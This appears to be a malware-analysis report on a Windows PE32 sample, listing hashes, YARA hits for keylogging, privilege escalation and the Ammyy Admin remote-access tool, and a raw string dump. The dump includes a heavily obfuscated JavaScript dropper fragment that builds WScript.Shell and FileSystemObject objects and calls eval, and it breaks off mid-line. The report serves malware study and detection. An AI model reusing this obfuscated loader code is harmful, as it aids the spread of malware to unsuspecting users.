Sample details: 705e49df9fcc24baab057395c25ac182 --

Hashes
MD5: 705e49df9fcc24baab057395c25ac182
SHA1: 80ebb9d4981b4f8a1b97aaf24d4fc1f34ac21cf8
SHA256: a4a2c8e33ce21c0153614b8073bbb8b4118fdc4ebe3c8c9b53e744645fabce0c
SSDEEP: 24576:4MjPJ5g9KVGrdNikfu2hBfK8ilRty5olGJsxO:dJ5gEKNikf3hBfUiWxO
Details
File Type: PE32
Added: 2019-04-26 13:37:51
Yara Hits
YRP/PEArmor04600759hying | YRP/IsPE32 | YRP/IsWindowsGUI | YRP/HasOverlay | YRP/maldoc_find_kernel32_base_method_1 | YRP/maldoc_getEIP_method_1 | YRP/domain | YRP/IP | YRP/url | YRP/contentis_base64 | YRP/System_Tools | YRP/Antivirus | YRP/Dropper_Strings | YRP/create_service | YRP/network_tcp_listen | YRP/network_http | YRP/network_tcp_socket | YRP/network_dns | YRP/escalate_priv | YRP/screenshot | YRP/keylogger | YRP/win_mutex | YRP/win_registry | YRP/win_token | YRP/win_files_operation | YRP/win_hook | YRP/android_meterpreter | YRP/Big_Numbers3 | YRP/Prime_Constants_long | YRP/CRC32_poly_Constant | YRP/CRC32_table | YRP/BASE64_table | YRP/Str_Win32_Winsock2_Library | YRP/Str_Win32_Wininet_Library | YRP/Str_Win32_Internet_API | YRP/Str_Win32_Http_API | YRP/Ammyy_Admin_AA_v3 | FlorianRoth/CN_Actor_RA_Tool_Ammyy_mscorsvw | FlorianRoth/CN_Actor_AmmyyAdmin |
Strings
		!This program cannot be run in DOS mode.
`.data
.data2
.idata
M-)				
M--				
M-5				
s	s	qV9I	
9I	q~9I	
-nI	c2
[s	s	qr9I	
SnI	s	s
q|9I	q"9I	
SnI	c2
9I		~R
1lI	s	
5lI	s	
5lI	s	
9lI	s	
AlI	s	
]kI	s	
.tZp@7
CreateWindowExA
play e:\\rrrtwr\agef.wav alias PRFT
LoadLibraryExA
user32.dll
LoadCursorA
Winmm.dll
TranslateMessage
mciSendStringA
XYDc;\
9U`e) 
>c5q7!
0C0~020
0C0~030
0C0~020
0C0~0G0
0C0~030
0C0~0G0
0C0~020
0C0~020
0C0~020
0C0~020
0C0~020
0~0$0I0
0b0I0K0
0C0~020
user32.dll
GDI32.dll
Msacm32.dll
ADVAPI32.dll
IMM32.dll
KERNEL32.DLL
GetModuleHandleA
GetProcAddress
HeapCreate
HeapAlloc
ExitProcess
FreeLibrary
GetMessageA
DefWindowProcA
PostQuitMessage
GetDoubleClickTime
UpdateWindow
GetQueueStatus
LoadIconA
RegisterClassA
RegQueryValueExA
RegOpenKeyA
GetUserNameA
CopySid
GetLengthSid
CreateBitmap
IntersectClipRect
ExcludeClipRect
UpdateColors
GetTextExtentPoint32A
CreateCompatibleDC
DeleteObject
TextOutA
SetBkColor
SetTextColor
Rectangle
CreateSolidBrush
GetStockObject
CreateFontIndirectA
GetTextExtentExPointA
GetTextMetricsA
CreateFontA
RealizePalette
ImmGetCompositionStringW
ImmSetCompositionFontA
ImmGetContext
ImmSetCompositionWindow
acmDriverID
acmStreamOpen
xxxxxxxxx
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
    <security>
      <requestedPrivileges>
        <requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
      </requestedPrivileges>
    </security>
  </trustInfo>
</assembly>
!This program cannot be run in DOS mode.
.rdata
B|!!p!hB
 "	(j 
DA>)zw$
eh]{I(
jd4X@	
P&g"\5h
P+~0R 
AK$Q%k
*L#,tQex0M
w8-CEKh8
O%b@l!
FX1CBC
fd]GL\w
!$A})h
a} .2S
~*2x# 
1&/j=ht
y,0/mpk$
y/u-e/
sR*5DI
#BMz&_;
Q6J67L
z3#83C+,
>xh4Cl
}<1jtV4
P'W>Q.
0geG4+
23 lMg
m"3OI]H
 $)<"6
R-)v[88
BehXz6
Vbj)QG
L/qWO)
MEd58]5!
ltQ"B.
6E/x9=26V
Qe_Jz 
o:=AVD
Rp3^)d
vLju2F_
i@Ip*H"
j$$"a$8"X$L"O$`"n
i|p>})
"rnjEtQ
8j6S$?
A|#>YFN1!Ak
7'v.ZU
 0S$5-
!qc[[J
cx;U!R
USPmM)
aj-H6P
T,_!{rp
avoB"l
3cz~$d
6$%t)(1PRP
7?xdq6 
=]B%Z8
+\+ $%o
VdFK2W1
)@"8/)
e%oP)3
XtQbmt
'*[=WJ
cjR[[|
.\vl,QX|
X%v"aA
:\A#"qu
;=\vrA
9d	a\'
s(/VkOr
@QGq*-
/ ^]'o^
2xt>Z	I{>
JQIZiCtv
>4\!-Q"I4
1,,"Fc
Bk+H4@
g+d92Pq!	
qtui$Y$
|0T!&%vp
/uV@Qk*
^Wf":DmD
?u:bjJ"*
uD!h|!
S+d-8!
u+jZ1!
z=ef2Q
R(@8**z8
tUcSaa
/9_0..uE
";ALAD
(Xh!iWq&/
JaG52)u
T)&s"MH
_q>Qp';
R1v}?9v
G# "$i
FDIoF6
8,'I;B
L|}~6hRD
a$ VD8
`':Y+I$0
(kb l&8
).tM5'
vZ'TYHu
5aWe|`
HYNhH{#v
L_dhO7
l,833f
_Uh/lg
=x?pDg$
;6l3^i
S#gD %
H+._<r
&WiHJJ
~&(WP<*
Y0&t B
#?IW8,n
KY;oE,E
	hTZmQD
`dR= A
DCTj|P
VC2:0Xs
3x<M C
	R6@5]/
N=R(Qn
l%/wt7
T5I=,a
QL`5)#j]
I9$U!(
-_[q}qB
;CLRfA
\DsZ!O'
^T8.	|U?
d>J9<Km
t9Up63
')Gyy.
L(Y4,M
t2`3.F
T~'FOO
]q<Xo5
KG^]$]
5D@PSj?J
V!jQf*xp
}TSkXX
k6K+So
1k4=Q:
vb#9~4
0B=%hkZ
%p+[9	
F/>7UPB
UFsJ2DJ
NfJRE	<
.tCh	!
EVHC`E
{&@([K}eP
>	Qp@1 9
(DEFGHIJ
KLMNOPQR
STUVWXYZ
ijklmnop
qrstuvwx
UnXkHL
) (x8,X
I|s$ro
hR6028
K(B7Hr6t|
"YBVm5
u)$s`R
"SepO 
`96t<pXP
B"RDdr
Z"HD6$
vC7mot
5ptclivL
21(IU0IO
win)32!<
@51di+tu
 etxk)
c7k t6p
ylIhIBwQ79. -
l5Z 3sW2
9V	zRk
B8-gvu
d2s9p_
rzTwPd&Fpi
}yHaCe
vm)H1_
?sh$ol
lKI3F!RHH#
vfb:Yp
{VfOuOGC4
	HLQMD
[y&-fl,^R
0$m1')uVC`
5p{weM
fWs	+c
NGWrSz
6t,2v@4w
H_O)m|7
n10pkl
PC-QJG
Kq7M&R
Psr.2_
b$:'yMl u
Au9o.)
h`	lf2
j9HX*-UlifNe
yZfqQYH6
HzUC_z
a&1-!&!4;pH
;{a\riy:
@t'vG0
|6IoAXL_SjS
A S~wJ
5.YsWEm
"] TtBN
Y3"a_H
Egy&ptgYO
\J-2%Sqs
m.j(2B
d3(RHi
7kguYc#
#|,6[{
60BT]Z
ATWOMTN
_L`nFi
t?$~#?
cvs2WB
FD%	's0
u<=}%W5``sV
$M'S^8=
DOULA%M@]
@.DSp4Ly&
E%IOvLc
'Moq.O
	P+SX_
])01it)K
G]C~Nw
oVd	2-
THI]p>.
&V>Ln-b
$'_W	-e
E	pT%nn
Wt6v6L!
 "j'2|
/9#	gwa
I$TP-[
1#CHv8
IXC(hI
 'KX%6
VlP$Mh
A	u8Y2M
@ST 1HIP
UXOR-5
z+'RG[U
E/DeMF
>GSIM'=
xds0L_
}MS6	CSD'
n}qXVL
fSD$EV
>V\)GN
'B{$hlOpNH
j/aRp`
G!,8f(
.RGSCY
GpNS9R_
#4X	sq3
q!ivB,
Ihmy_T
/z Lq4i
-SaYu&M
O	3tYPR7
"ym~[M
2$byolp%
"KQf%]
TW-+BI
R`Ww BZl
6	bbkD
QL@SCDA
Zi/I~%
2j/XWV	Z
bUC%2(
 )hlSk
.bb%3e"
RyjRd)Gf
6cp(TMV)&~
%C+PLU
pWTFRU
yTVbQn
A1#_dk$=
PE$<Wz
0OWM+J_
\Wvb'B
z-|`qW4
vV.E!k9
AMON]n
I]?yeI
p	izHLa]
5iX9G{?
YHG.>X
wl9-O\4~
m9jROQ
 vlF#$O%
!^/t%k
$B('Z+
X{SvVvtz
gDL^IY
? *R@,
*miRb$
t"<	.u
pL(`2w	~/
f%~2n_K"$S
F*!4k+
g |]K02
ikSm67W
QWf*1*
)9n!Nt
DWMvWb
6O><H"
90iCquU*-
fFPUT4!8
<h;2RI
H{hV(;
)'t2h2UWdQ%xb
:MZ?u+
jln?}0
>'D245
PIgQQE9
L)K?%6i
T!D`\C|
"SA}(>%1
XiW.SU
'NjE%;
0gD1?,`
RwA3IH$j
u0s]Lv
vhM~xL
GgV?Lp
@$}6Zw
4Z$ 6-
(0uyJR
j@44w_TE
#dd!"L6B
H5DzHtDd2$
!,JPTE
P%	ykK"
MQ(c\j
*f$[{O
)J["`B
2~@#01bH
Wh(D1}
Y^9uJ4
\bgpD=
W&|Q_d#MR'
&tNHUW
")^nru
sHK(yIy
U'$P1@CE
S*@Q]YQ
< u	V%
veb\6#
E[D^j/
/E(e|/
iWuC'j
[H_'KPp[
]ep!`#&
B-@Wam
Lfz$ y
.%1&W0R\
wZBD8y
P6,UB+
d"H2PQ
mBts_R
=\=Rg*
Lst:l;:
$Lr|"S
S3jh2nR
la7A%A
fQ,KJH"?
-:cJ.J
yU#tNj'
'~AbKs
nE\@Ef=
xkZR^/
W+L4;0
8FF@?+
Vta?mZLU
[]nsZti
?L_T$!
@	V$lH
?3Q>	7
 6{&u7
H:Y,d )0
oPON$.
0	fZ!T	DNH
p"jDd 
BCDEFGHI
JKLMNO
8|+YZabc
defghijk
lmnopqrs
12345678
p"X#Vp`c
(X)fpp+p,p-p.
j"dD^X
x"rDlf
;"BD<6
q`YHZ8
15C42.DL
cpHy$z
LirXVf
PI N5{
@MpV{i
SFzHCO
=S0s|mDierqo
!	32NwRMWY
#v6aS7
1dW	ow
zgei%4
*$USA)>C
o,k3r)2
2Lq0sRFUU
fS+yVx
iphnna
u4V<ER
F1*0`|
SEpT(%u
~>s'gDub^vm
1277.0
il*@(g
RbYxCHAql
IpW{u)f-
 (NLAv)
~zr>vp
`3(@{Ig
k,1EhU
-	eDU3CL
BffLo0	Q,-FhX&xG3
J1j\(f
~t.huif
>#T5]y
fS%EvSL
f09\aV
;@k0~@v
Rn<7\QKt6/
Er+L=5
D1.41p.
RG+`&1
d5.KV H(7VG
.%5E\m 
Dr/vB8
|b^O`hL
4*`K-l
YsON46
g!9=Id%
$A/$20^
gg@p9_	
+hlxfh(Cn
HEA5D 
ilyB_K'd
p5.dv$
(le	`2
p\3xR/
X6nT:j
Y+)@0]R
aE+9]5
,[Y$B/ 
[FQ/{D
1\0IZl
8o4n}J,
$:r<><Z
:-<:(*
N~7g*C
TMC_K\f
t-rE_t
h(EO7XJ
 RichE
|"LV:(
el oc-
hLd`+'C
I6{k+B
WSQVL`
<2q:j*c^3
_YKZ[7l
whCjE2
TP-H?$
!.?8k>
X")n[vI
}i5X04x
UV&W3k
F{tO'@
<!_ .^`
zUdT,(tg
CUqgE>i
4fuLli
,(r4uR
NQ&w={3
0~TOW(
nNL-<m
66M6@Ni
'4G?gZ
;0<A=O>\?
m7sC\;
<n=t>z?
KTOPho
u}STARiU
hVID!EO
	LOCAE_?
!		HIS
+}XB8rT
-PUI!N
L<4F8#2Yq
3Co'*hu
XGu&iFx
#"<G3Q
AuEN?e
Q`krb&
Xsz3AdYEK
:25846.T
.wLoQ.3
 Ap4LM
pU.nbL
 mti`hD
.?AVe]
std=48
_:t_9f
g& ztq
:\m)dq
 bSYu	y
Tcsp%abE
e 4N6xX
4y* &P
,/z`Rt+
UDO<b21
0v&14QN
$b#!3H4
hzSh(ow
sog1)(
dt%ho6
256)Ns
%7.2f KB$/m8
o~JHIN
P	PID^
dSw+%iU2p
8"yD(z
1~!:p{k
x"tDl`
RIXfcng
KERNEL32.dll
GetProcAddress
GetModuleHandleA
LoadLibraryA
VirtualAlloc
GetTickCount
p87P T
rtua.F
>#PEnv
1M7od+61
jogfcS
C7O5>p
g-P2G;Aibr
Oph1LI
dtaW7owP
yhh:#J
 4nO5bj
SHEZLb
IDLi;A
LIWQG2
var xhHKyZCJLEVoDftw = 'lVCyi'+
'gcsvdfqSLuaAZjPYEbBQDWGHRvalVCyigcsvdfqSLuaAZjPYEbBQDWGHRrlVCyigcsvdfqSLuaAZjPYEbBQDWGHR CSlVCyigcsvdfqS'+
'LuaAZj'+
'PYEbBQDWGHR'+
'QlVCyigcsvdfqSLuaAZjPYEbBQDWGHRGsKhlVCyigcsvdfqSLuaAZjPY'+
'EbB'+
'QDWGHRnlVCyigcsvdfqSLuaAZjPYE'+
'bBQDWGHRzeclVCyigcsvdfqSLua'+
'AZjPYE'+
'bBQDWGHRdlVCyigcsvdfqSLuaAZjPYEbBQDWGHRwDblVCyigcsvdfqSLuaAZjPYEbBQDWGHRlqlVCyigcsvdfqSLuaAZjPYEbBQDWGHRmflVCyigcsvdfqSLuaAZjPYE'+
'bBQDWGHR =lVCyigcsvdfqSLuaAZjPYEbBQDWGHR newlVCyigcsvdfqSLuaAZjPYEbBQDWGHR l'+
'VCyigc'+
'svdfqSLuaAZjPYEbBQDWGH'+
'RAlVCyigcsvdfqSLuaAZjPYEbBQDWGHRclV'+
'CyigcsvdfqSLua'+
'AZjP'+
'YEbBQDWGHRtilV'+
'CyigcsvdfqSLuaA'+
'PYEbBQDWGHRvlVCyigcsvdfqSLuaAZjPYEbBQDWGHRel'+
'VCyigcsvdfqSLu'+
'aAZjPYEbBQDWGHRXlVCyigcsvdfqSLuaAZjPYEbBQ'+
'DWGHROblVCyigcsvdfqSLuaAZjPYEbBQDWGHRjeclVCyigcsvdfqSLuaAZjPYEbBQDWGHRtlVCyigcsvdfqSLuaAZjPYEbBQDWGHR(lVCyigcsvdfqSLuaAZjPYEbBQDW'+
'GHR"lVCyi'+
'gcsvdfqSLuaAZjPYEbBQDWGHRShl'+
'VCyigcsvdfqSLuaAZjPYEbBQDWGHRellVCyigcsvdfqSLuaAZjPYEbBQDWGHRllVCyigcsvdfqSLuaAZjPYEbBQDWGHR.alVCyigcsvdfqSLuaAZjPYEbBQDWGHRplVCyigcs'+
'vdfqSLuaAZjPYEbBQDWGHRplVCyigcsvdfqSLuaAZjPYEbBQDWGHRllVCyigcsvdfqSLuaAZj'+
'PYEbBQDWGHRilVCyigcsvdfqSLuaAZjPYEbBQDWGHRclVCyigcsvdfqSLuaAZj'+
'PYEbB'+
'DWGHRatilVCyigcsvdfqSLuaAZjPYEbBQDWGHRolVCyigcsvdfqSLua'+
'jPYEbBQDWGHRn")lVCyigcsvdfqSLuaAZjPYEbBQDWGHR; l'+
'VCy'+
'igcsvdfqSLuaAZjPYEbBQDWGHRvlV'+
'Cyigcsvdfq'+
'SLuaAZjPYEbBQDWGHRarlVCyigcsvdfqSLuaAZjPYEbBQDWGHR HlVCyigcsvdfqSLuaAZjPYEbBQDWGHRWlVCyigcsvdfqSLuaAZjPYEbBQDWGHRUlVCyigcsvdfqS'+
'LuaAZjPYEbBQDW'+
'GHRSlVCyigcsv'+
'dfqSLuaAZjPYEbBQDWGHRYbyjlVCyigcsvdf'+
'qSLuaAZjPYEbBQDWGHRwJnklVCyigcsvdfqSLuaAZjPYEbBQDWGHRdiEZlVCy'+
'igcsvdfqSLuaAZjPYEbBQDWGHRKlVCyigcsvdfqSLuaAZjPYEbBQDWGHRolVCyigcsvdfqSLuaAZjPYEbB'+
'QDWGHR = lVCyigcsvdfqSLuaAZjPYEbBQDWGHRnelVCyigcsvdfqSLuaAZjPYEbBQDWGHRwlVCyigcsvdfqSLuaAZjPYEbBQDWGHR AlVC'+
'yigcsvdfqSLuaAZ'+
'YEbBQD'+
'WGHRclVCyigcsvdfqSLuaAZj'+
'PYEbBQDWGHR'+
'tivelVCyigcsvdfq'+
'SLuaAZjPYEbBQDWGHRXOlVCyigcsvdfqSLuaAZjPYEbBQDWGHRblVCyigcsvdfqSLuaAZjPYEbBQDWGHRjelVCy'+
'igcsvdfqSLuaAZjPY'+
'bBQDWGHRclVCyigcsvdfqSLuaAZjPYEbBQ'+
'DWGHRtlVCyigcs'+
'vdfqSLuaAZjP'+
'YEbBQDW'+
'GHR("WSlVCyigcsvdfqSLuaAZjPYEbBQDWGHRCRlVCyigcsvdfqSLuaAZjPYEbBQDWGHRIlVCyigcsvdf'+
'qSL'+
'uaAZjPYEbBQDWGHRplVCyigcsvdfqSLuaAZjPYEbBQDWGHRt.'+
'lVCyigcsvdfqSLuaAZjPYEbBQDWGHRshlVCyigcsvdfqSLu'+
'aAZj'+
'PYEbBQDWGHRellVCyigcsvd'+
'fqSLuaAZ'+
'jPYEbBQDWGHRllVCyigc'+
'svdfqSLuaA'+
'ZjPYEbB'+
'QDWGHR"); lVCyigcsvdfq'+
'SLuaAZjPYEbBQDWGHRvar lVCyigcsvdfqSLuaAZjP'+
'YEbBQDWGHRZl'+
'VCyigcsvdfqSL'+
'uaAZjPYEbBQDWGHRRlVCyigcsvdfqSLuaAZjPYEbBQ'+
'DWGHRhlVCyigcsvdfqSLuaAZjPYEbBQDWGHRPlVCyigcsvdfqSLuaAZjPYEbBQDWGHRgJiQjlVCyigcsvdfqSLuaAZjP'+
'QDWGHRslVCyigcsvdfqSLuaAZjPYEbBQDWGHRXlVCyigcsvdfqSLuaAZjPYEbBQDWGHRplVCyigcsvdfqSLuaAZjPYEbBQDWGHRkW'+
'olVCyigcsvdfqSL'+
'uaAZjPYEbBQDWGHRbGlVCy'+
'igcs'+
'vdfqSLuaAZjPYEbBQD'+
'WGHRNlVCyigcsvdfqSLuaA'+
'ZjPYEbB'+
'QDWGHRn = nlVCyigcsvdfqSLuaAZjPYEbBQDWGHRew AlVCyigcsvdfqSLuaAZjPYEbBQDWGHRclVCyigcsvdfqSLuaAZjPYEbBQDWGHR'+
'tlVCyigcsvdfqSLuaAZjPYEbBQDWGHRilVCyigcsvdfqSLuaAZjPYEbBQDWGHRvelVCyigcsvdfqSLuaAZjPYEbBQDWGH'+
'RXOlVCyigcsvdfqSLuaAZjPYEbBQDWGHRbjlVCyigcsvdfqSLuaAZjPYEbBQDW'+
'GHRelVCyigcsvdfq'+
'SLuaAZjPYEbBQDWGHRclVCyigc'+
'svdfqSL'+
'uaAZjPYEbBQD'+
'WGHRt(lVCyigcsvdfqSLuaAZjPYEbBQDWGHR"lVCyigcsvdfqSLuaAZjPYEbB'+
'QDWGHRSclVCyigcsvdfqSLuaA'+
'ZjPYEbBQDWGHRRilV'+
'CyigcsvdfqSLuaAZjPYEbBQDWGHRplVCyi'+
'gcs'+
'vdfqSLuaAZjPYEbBQD'+
'WGHRtilVCyigcsvdfqSLuaAZjPYEbBQDWGHRNlVCyigcs'+
'vdfqSLuaAZjPYEbBQDWGHRglVCyigcsvdfqSLuaAZjPYEbBQDWGHR.lVC'+
'yigcsvdfqSLuaAZjPYEbBQDWGHRfIlVC'+
'yigcsvdfqSLuaAZjPYEbBQDWG'+
'HRLlVCyigcsvdf'+
'qSLuaAZjPYEb'+
'BQDWGHResyslVCyigcsvdfqSLu'+
'aAZjPYEbBQDWG'+
'HRtlVCyigcsvdfqSLuaAZjPYEbBQDWGHRElVCyigcsvdfqSLuaAZjPYEbBQDWGHRmlVCyigcsvdfqSLuaAZjPYEbBQDWGHROblVCyigcsvdfqSLuaAZjPYEbBQDWGHRjelV'+
'CyigcsvdfqSLuaA'+
'ZjPYEbBQDWGHRclVCyigcsvdfqSLuaAZjPYEbBQDWGHRtlVCyigcs'+
'vdfqSLuaAZjPYE'+
'BQDWGHR");lVCyigcsvdfqSLuaAZjPYEbBQDWGHR flVCyigcsvd'+
'SLuaAZjPYEbBQDWGHRulVCyigcsvdfqSLuaAZjPYEbBQDWGHRnlVCyigcsvdfqSLuaAZjPYEbBQDWGHRctlV'+
'CyigcsvdfqSLuaAZjPYEbBQDWGHRilVCyigcsvdfq'+
'SLuaAZjPYEbBQDWGHRolVCyigcsvdfqSLuaAZjPYEbBQDWGHRn lVCyig'+
'csvdfqSLuaAZjPYEbBQDWGHRMXlVCyig'+
'csvdfqSL'+
'uaA'+
'ZjPYEbBQDWGHRcuIwalVCy'+
'igc'+
'svdfqSLuaAZjPYEbBQDWGHRsflVCyigcsvdfqSLuaAZjPYEbBQDWGHRrllV'+
'CyigcsvdfqS'+
'LuaAZj'+
'PYEbBQDWGHRLlVCyigcsvdfqSLuaAZjPY'+
'EbBQDWGHRtlVCyigcsvdfqSLuaA'+
'ZjPYEbBQDWGHRhmlVCyigcsvdfqS'+
'LuaAZjPYEbBQDWGHR(lVCyigcsvdfqSLuaAZjPYEbBQDWGHR)lVCyigcsvdf'+
'qSLuaAZjPYEbBQDWGHR lVCyigcsvdfqSLuaAZjPYEbBQ'+
'DWGHR{lVCyigcsvdfqSLuaAZjPYEbBQ'+
'DWGHR lVCyigcsvdfqSLuaAZjPYEbBQDWGHRrlV'+
'CyigcsvdfqSLuaA'+
'ZjPYEbBQDWGHRetlVCyigcsvdfqSLuaAZjPYEbBQDWGHRurn ZRhPgJiQjslVCyigcsvdfqSLuaAZj'+
'PYEbBQDWGHRXplVCyigcsvdfqSLuaAZjPYEbBQDWGHRklVCyigcsvdfqSLu'+
'aAZjPYEbBQDWGHRWlVCyig'+
'csvdfqSLuaAZj'+
'PYEbB'+
'QDWGHRolVCyigcsvdfqSLuaAZjPYEbBQDWGHRblVCyigcsvdfqSLuaA'+
'ZjPYEbBQDWGHRGNnlVCyigcsvdfqSLuaAZjPYEbBQDWGHR.F'+
'olVCyigcsvd'+
'qSLuaAZjPYEbBQDWGHRllVCyigcsvdfqSLuaAZjPYEbBQDWGHRdlVCyigcsvdfqSLua'+
'AZjPYEbBQDWGHRe'+
'lVCyigcsvdfqSLuaAZjPYEbBQDWGHRrElVCyigcsvdfqSLua'+
'AZjPYEbBQDWGHRx'+
'ilVCyigcsvdfqSLuaAZjPYE'+
'bBQDWGHRslVCyigcsvdfqSLu'+
'aAZjPYEbBQDWGHRt'+
'slVCyigcsvdfqSLuaAZjPYEbBQDWGHR("zdlVCyigcsvdfqSLu'+
'aAZjPYEbBQDWGHRJlVCyi'+
'gcsvd'+
'fqSLuaAZjPYEbBQDWGHRijflVCyigcsvdfqSLuaAZj'+
'PYEbBQDWGHRXlVCyigcsvdfqSLuaAZjPYEbBQDWGHRYaxlVCyigcsvd'+
'fqSLuaAZjPYEbBQDWGHRSglV'+
'CyigcsvdfqSLuaAZjPYEbBQDWGHRITQ'+
'lVCyigcsvdfqSLuaAZjPYEbBQDWGHRZlVCyigcs'+
'vdfqSLuaAZjPYEbBQDWGHR")'+
';lVCyigcsvdfqSLuaAZjPYEbBQDWGHR }';
var WegVaqAkKDXFHBYtlp = 
'OXPjgQdSRWKlMhukfnraEALptGqcZHvOXPjgQdSRWKlMhuk'+
'fnraEALp'+
'tGqcZHaOXPjgQdSRWKlMhukfnraEALptGqc'+
'ZHr OXPj'+
'gQdSRWKlMhukfnraEALptGqcZHydaOXPjgQdSRWKlMhukfnraEALptGqcZHjOXPjg'+
'QdS'+
'RWKlMhukfnraEALptGqcZHQOXPjgQdSRWKlMhukfnraEALptGqcZHEOX'+
'PjgQdSRWKlMhukfnra'+
'EALptGqcZHbOXP'+
'jgQdSRWKlMhukfnraEALptGqcZHHwOXPjgQdS'+
'RWKlMhukfnraEALptGqcZHIqOXPjgQdSRWKl'+
'MhukfnraEALptGqcZHJuOXPjgQdSRWKlMhukfnraEALptGqcZHtSOXPjgQdSRWKlMhukfnr'+
'aEALptGqcZHxiOXPjgQdSRWKlMhukfnraEAL'+
'GqcZHN OXPjgQdSRWKlMhukfnraEALptGqcZH= OXPjgQdSRWK'+
'lMhukfnraE'+
'ALptGqcZHHWUOXPjgQdSRWKlMhukfnraEALptGqcZHSOXPjgQdS'+
'RWKlMhukfnraEALptGqcZHYOXPjgQdSRWKlMhukfnr'+
'aEALptGqcZHbyj'+
'OXPjgQdSRWKlMhukfnraEALptGqcZHwJnOXPjgQdSRWKlMhukf'+
'nraEALptGqcZHkOXPjgQdSRWKlMhukfnraEALp'+
'tGqcZHdOXPj'+
'gQdSRWKlMhukfnraEALptGqc'+
'ZHiOXPj'+
'gQdSRWKl'+
'ukfnraEALptGqcZHEOXPjgQdSRWKlMhukfnraEALptGqcZHZOXPj'+
'gQdSRWKlMhukfnraEALptGqcZHKo.ROXPjgQdSRWKlMhukfnraEALptGqcZHeOXPjgQdSRWKlMhukfnraEA'+
'LptGqcZH'+
'gOXPjgQdSRWKlMhukfnraEALptG'+
'qcZHROXPjgQdSRWKlMhuk'+
'fnraEALptGqcZHeaOXPj'+
'gQdSRWKlMhukfnraEALptGqcZ'+
'HdOXPjgQdSRWKlMhukfnraEALptGqcZH(IOX'+
'PjgQdSRW'+
'KlMhu'+
'kfnraEALptGqcZHyOXPjgQdSRWKlMhukfnraEALptGq'+
'cZHOtOXPjgQdSRWKlMhukfnraEA'+
'LptGqcZHHOXPjgQdSRWKlMhukfnraEALptGqcZ'+
'waUOXPjgQdSRWKlMhukfnraEALptGqcZ'+
'HqOXPjgQd'+
'SRWK'+
'lMhukfnraEALptGqcZHjOXPj'+
'gQdSRWKlMhukfn'+
'raEALptGqcZHbOXPjgQ'+
'dSRWKlMhukfnraEALptGqcZHQzRTOXPjgQdSR'+
'WKlMhukfnraEALptGqcZHVOXPjgQdSR'+
'WKlMhukfn'+
'raEALptGqcZHSOXPjgQdSRWKlMhukf'+
'nraEA'+
'LptGqcZHrv.OXPjgQdSRWKlMhukfnraEALptGqcZHreOXPjgQdSRWKlMhukfnraEALptGqcZHplOXPjgQdSRWKlMhukfnraEALptGqcZHace(/\zJOXPjgQdSRWKlMhukfnraEALptGqcZHKOXPj'+
'gQdSRWK'+
'lMhukfnr'+
'aEALptGqcZHWOXPjgQdSRWKlMhukfnraEALptGqcZHsrOXPjgQdSRWKlMhukfn'+
'raEALptGqcZHlCSMOXPjgQd'+
'SRWKlMhukfnraEALp'+
'tGqc'+
'ZHGOXPjgQdSRWKlMhukfnraEALptG'+
'ZHhqeOXP'+
'jgQdSRWKlMhukfnra'+
'EALptGqcZHy'+
'YOXPjgQdSRWKlMhukfnraEALptGqcZHZOXPjgQdSRWKlMhukfnra'+
'EALptGqcZHwOXPjgQdSRWKlMhukfnraEALptGqcZHDjOXPjgQd'+
'WKlMhukfnraEALptGqcZHUOXPjgQd'+
'SRWKlMhukfnraEALptGqcZHOO'+
'XPjgQdSRWK'+
'lMhukfnraEALptGqcZHnOXPjgQdSRWKlMhukfnraEALptGqcZHXOXPjg'+
'QdSRWKlMhukfnraEALptGqcZHcOXPjgQdSRWKlMhukfnraEALptGqcZH'+
'HOXPjgQdSRWKlMhukfnraEA'+
'LptGqcZHtOXPjgQdSRWKlMhukfnra'+
'EALptGqcZHuOXPjgQdSRWKlM'+
'hukfnraEALptG'+
'qcZHTA/g, OXPjgQdSRWKlMhukfnraEALptGqcZH""'+
'))OXPjgQdSRWKlMhukfnraEALptGqcZH.OXPjgQ'+
'dSRWKlMh'+
'ukfnraEALptGqcZHcOXPjgQdSRWKlMhukfnraEA'+
'LptGqcZHhOXPjgQdSRWKlMhukfnraEALptGqcZHaOXPjgQdSRWKlMhukfnra'+
'EALptGqcZHrAt(1O'+
'XPjgQdSRWKlMhukfnraEALptGqcZH12OX'+
'PjgQdS'+
'RWKlM'+
'hukfnraEALptGqcZH5OXPjgQdSRWKlMhukfnraEALp'+
'tGqcZH55OXPjgQdSRWKl'+
'MhukfnraEALp'+
'tGqcZH07/11OXPjgQdSRWKlMhukfnraEALptGqcZH2OXPjgQdS'+
'RWKlMhukfnra'+
'EALptGqcZH5OXPjgQdSRWKlMhukfnraEALptGqcZH5OXPjgQ'+
'dSRWKlMhukfnraEALptGqcZH507OXPjgQdSRWKlMhukfnraEALptGqcZH);';
var IyOtHwaUqjbQzRTVSrv = 
"zJKWsrlCSM"+
"GhqeyYZwDjUOn"+
"XcHtuTAHzJKWsrlCSMGhqeyYZwDjUOnXcHtuTAKLM\\szJK"+
"WsrlCSMGhqeyY"+
"ZwDjUOnX"+
"cHtuTAozJKWsrlCS"+
"MGhqeyYZwDjUOnXcHtuTAFtwzJKWsrlCSMG"+
"qeyYZwDjUOnXcHtu"+
"TAare\\mzJKWsrlCSMGhqeyYZwDjUOnXc"+
"HtuTAizJKWsrlCSMGhqeyYZwDj"+
"UOnXcHtuTAczJKWsrlCSMGhqeyYZwDjUOnXcHtuTArzJKWsrlCSMGhqeyYZ"+
"wDjUOnXcHtuTAosoft\\WI"+
"zJKWsrlCSMGhqeyYZwDjUOnXcHtuT"+
"AnDOwzJKWsrlCSMGhqeyYZwDjUOnXcHtuTAszJKWsrlCSMGhqeyYZwDjUOnXcHtuTA zJKWsrlCSMGhqeyYZwDjUOnXcHtuTAnT\\CUrrzJKWsrlCSMGhqeyYZwDjUOnXcHtuTAeNTzJKWsrlCSMGhqeyYZwDjUOnXcHtuTAvezJKWsrlCSMGhqeyYZ"+
"wDjUOnXcHtuTArzJKWsrlCSMGhqeyY"+
"DjUOnXc"+
"HtuTAsion\\szJKWsrlCSMGhqeyYZwDjUOnXcHtuTAySTezJKWsrlCSMGhqeyYZwDjUOnXcHtuTAmzJKWsrlCSMGhqeyYZwDjUOnXcHtuTAROzJKWsrlCSMGhqeyYZwDjUOnXcHtuTAoT";
var GWfqJXmNZLiHcEahps = 
"GUDjyIOk"+
"fCvStEeozYTuAlXmLJw"+
"nWval(unNGUDjyIOkfCvStEeo"+
